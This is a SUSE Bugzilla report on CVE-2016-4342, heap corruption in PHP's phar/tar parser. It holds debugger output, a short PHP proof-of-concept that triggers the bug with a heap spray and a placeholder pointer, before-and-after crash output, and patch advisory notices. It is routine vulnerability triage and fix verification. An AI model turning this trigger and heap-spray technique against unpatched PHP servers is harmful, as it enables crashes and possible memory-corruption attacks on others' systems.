Bugzilla – Bug 977991
VUL-0: CVE-2016-4342: php: Heap corruption in tar/zip/phar parser
Last modified: 2016-08-30 12:19:58 UTC
CVE-2016-4342 References: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-4342 http://seclists.org/oss-sec/2016/q2/163 http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4342.html
(In reply to Sebastian Krahmer from comment #4) > OK. So we are not in a hurry. I bet this affects all our maintained > packages of php5x? Yes, it seems so. I get segfault for 13.2 and 12. But even for 11sp3: Breakpoint 1, zim_PharFileInfo_getContent (ht=0, return_value=0xc5fe98, return_value_ptr=0x0, this_ptr=0xc5fec8, return_value_used=1) at /usr/src/debug/php-5.3.17/ext/phar/phar_object.c:4959 4959 Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0); (gdb) p link->uncompressed_filesize $5 = 0 So Z_STRVAL_P(return_value) can be uninitialized after php_stream_copy_to_mem() call, I assume.
With 12: $ cat test.php <?php echo "Making .tar file...\n"; $phar = new PharData('poc.tar'); $phar->addFromString('aaaa',''); echo "Trigger...\n"; //prepare $spray = pack('IIII',0x41414141,0x42424242,0x43434343,0x4444444); $spray = $spray.$spray.$spray.$spray.$spray.$spray.$spray.$spray; $pointer = pack('I',0x13371337); $p = new PharData($argv[1]); // heap spray $a[] = $spray.(string)0; $a[] = $spray.(string)1; $a[] = $spray.(string)2; $a[] = $spray.(string)3; $a[] = $spray.(string)4; $a[] = $spray.$pointer.(string)5; var_dump($p['aaaa']->getContent()); // If this poc doesnt work, please un-comment line below. var_dump($p); ?> $ BEFORE $ php test.php poc.tar Making .tar file... Trigger... string(0) "" zend_mm_heap corrupted $ php test.php poc.tar Making .tar file... Trigger... string(0) "" object(PharData)#2 (4) { ["pathName":"SplFileInfo":private]=> string(27) "phar:///977991/poc.tar/aaaa" ["fileName":"SplFileInfo":private]=> string(4) "aaaa" ["glob":"DirectoryIterator":private]=> bool(false) ["subPathName":"RecursiveDirectoryIterator":private]=> string(0) "" Segmentation fault (core dumped) $ AFTER $ php test.php poc.tar Making .tar file... Trigger... string(0) "" object(PharData)#2 (4) { ["pathName":"SplFileInfo":private]=> string(27) "phar:///977991/poc.tar/aaaa" ["fileName":"SplFileInfo":private]=> string(4) "aaaa" ["glob":"DirectoryIterator":private]=> bool(false) ["subPathName":"RecursiveDirectoryIterator":private]=> string(0) "" } $
needinfo provided.
Packages submitted.
This is an autogenerated message for OBS integration: This bug (977991) was mentioned in https://build.opensuse.org/request/show/393784 13.2 / php5
This is an autogenerated message for OBS integration: This bug (977991) was mentioned in https://build.opensuse.org/request/show/394633 13.2 / php5
This is an autogenerated message for OBS integration: This bug (977991) was mentioned in https://build.opensuse.org/request/show/396629 13.2 / php5
openSUSE-SU-2016:1357-1: An update that fixes 11 vulnerabilities is now available. Category: security (moderate) Bug References: 977991,977992,977994,978827,978828,978829,978830 CVE References: CVE-2016-4342,CVE-2016-4343,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544 Sources used: openSUSE 13.2 (src): php5-5.6.1-61.1
SUSE-SU-2016:1504-1: An update that fixes 13 vulnerabilities is now available. Category: security (moderate) Bug References: 977991,977994,978827,978828,978829,978830,980366,980373,980375 CVE References: CVE-2015-4116,CVE-2015-8873,CVE-2015-8874,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544 Sources used: SUSE Linux Enterprise Software Development Kit 12-SP1 (src): php5-5.5.14-59.2 SUSE Linux Enterprise Software Development Kit 12 (src): php5-5.5.14-59.2 SUSE Linux Enterprise Module for Web Scripting 12 (src): php5-5.5.14-59.2
openSUSE-SU-2016:1524-1: An update that fixes 13 vulnerabilities is now available. Category: security (moderate) Bug References: 977991,977994,978827,978828,978829,978830,980366,980373,980375 CVE References: CVE-2015-4116,CVE-2015-8873,CVE-2015-8874,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544 Sources used: openSUSE Leap 42.1 (src): php5-5.5.14-50.1
SUSE-SU-2016:1581-1: An update that fixes 31 vulnerabilities is now available. Category: security (important) Bug References: 949961,968284,969821,971611,971612,971912,973351,973792,976996,976997,977003,977005,977991,977994,978827,978828,978829,978830,980366,980373,980375,981050,982010,982011,982012,982013,982162 CVE References: CVE-2014-9767,CVE-2015-4116,CVE-2015-7803,CVE-2015-8835,CVE-2015-8838,CVE-2015-8866,CVE-2015-8867,CVE-2015-8873,CVE-2015-8874,CVE-2015-8879,CVE-2016-2554,CVE-2016-3141,CVE-2016-3142,CVE-2016-3185,CVE-2016-4070,CVE-2016-4073,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544,CVE-2016-5093,CVE-2016-5094,CVE-2016-5095,CVE-2016-5096,CVE-2016-5114 Sources used: SUSE OpenStack Cloud 5 (src): php53-5.3.17-71.1 SUSE Manager Proxy 2.1 (src): php53-5.3.17-71.1 SUSE Manager 2.1 (src): php53-5.3.17-71.1 SUSE Linux Enterprise Software Development Kit 11-SP4 (src): php53-5.3.17-71.1 SUSE Linux Enterprise Server 11-SP4 (src): php53-5.3.17-71.1 SUSE Linux Enterprise Server 11-SP3-LTSS (src): php53-5.3.17-71.1 SUSE Linux Enterprise Debuginfo 11-SP4 (src): php53-5.3.17-71.1 SUSE Linux Enterprise Debuginfo 11-SP3 (src): php53-5.3.17-71.1
SUSE-SU-2016:1638-1: An update that fixes 85 vulnerabilities is now available. Category: security (important) Bug References: 884986,884987,884989,884990,884991,884992,885961,886059,886060,893849,893853,902357,902360,902368,910659,914690,917150,918768,919080,921950,922451,922452,923945,924972,925109,928506,928511,931421,931769,931772,931776,933227,935074,935224,935226,935227,935229,935232,935234,935274,935275,938719,938721,942291,942296,945412,945428,949961,968284,969821,971611,971612,971912,973351,973792,976996,976997,977003,977005,977991,977994,978827,978828,978829,978830,980366,980373,980375,981050,982010,982011,982012,982013,982162 CVE References: CVE-2004-1019,CVE-2006-7243,CVE-2014-0207,CVE-2014-3478,CVE-2014-3479,CVE-2014-3480,CVE-2014-3487,CVE-2014-3515,CVE-2014-3597,CVE-2014-3668,CVE-2014-3669,CVE-2014-3670,CVE-2014-4049,CVE-2014-4670,CVE-2014-4698,CVE-2014-4721,CVE-2014-5459,CVE-2014-8142,CVE-2014-9652,CVE-2014-9705,CVE-2014-9709,CVE-2014-9767,CVE-2015-0231,CVE-2015-0232,CVE-2015-0273,CVE-2015-1352,CVE-2015-2301,CVE-2015-2305,CVE-2015-2783,CVE-2015-2787,CVE-2015-3152,CVE-2015-3329,CVE-2015-3411,CVE-2015-3412,CVE-2015-4021,CVE-2015-4022,CVE-2015-4024,CVE-2015-4026,CVE-2015-4116,CVE-2015-4148,CVE-2015-4598,CVE-2015-4599,CVE-2015-4600,CVE-2015-4601,CVE-2015-4602,CVE-2015-4603,CVE-2015-4643,CVE-2015-4644,CVE-2015-5161,CVE-2015-5589,CVE-2015-5590,CVE-2015-6831,CVE-2015-6833,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838,CVE-2015-7803,CVE-2015-8835,CVE-2015-8838,CVE-2015-8866,CVE-2015-8867,CVE-2015-8873,CVE-2015-8874,CVE-2015-8879,CVE-2016-2554,CVE-2016-3141,CVE-2016-3142,CVE-2016-3185,CVE-2016-4070,CVE-2016-4073,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544,CVE-2016-5093,CVE-2016-5094,CVE-2016-5095,CVE-2016-5096,CVE-2016-5114 Sources used: SUSE Linux Enterprise Server 11-SP2-LTSS (src): php53-5.3.17-47.1
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